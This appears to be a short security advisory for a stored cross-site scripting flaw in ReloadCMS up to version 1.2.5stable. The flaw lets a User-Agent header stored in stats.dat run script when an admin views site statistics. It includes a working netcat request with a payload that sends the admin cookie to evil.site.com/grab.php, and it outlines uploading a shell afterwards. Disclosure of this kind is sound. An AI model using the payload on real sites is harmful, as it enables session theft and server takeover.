vendor:
ReloadCMS
by:
rgod
7.5
CVSS
HIGH
Cross site scripting / remote command execution
CWE
Product Name: ReloadCMS
Affected Version From: <= 1.2.5stable
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Platforms Tested:
ReloadCMS <= 1.2.5stable Cross site scripting / remote command execution
ReloadCMS do not properly sanitize User-Agent request header before to store it in stats.dat file. Example of an attack, through netcat: rgod>nc target.host.com 80 GET /path_to_reloadcms/ HTTP/1.0 User-Agent: "><script>window.open("http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL);window.close();</script> Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once grab.php script captures admin cookie, the script itself can upload a shell trough filemanager, launch commands and write output to a logfile also, inside cookies, there is admin MD5 password hash
Mitigation:
Properly sanitize User-Agent request header before storing it.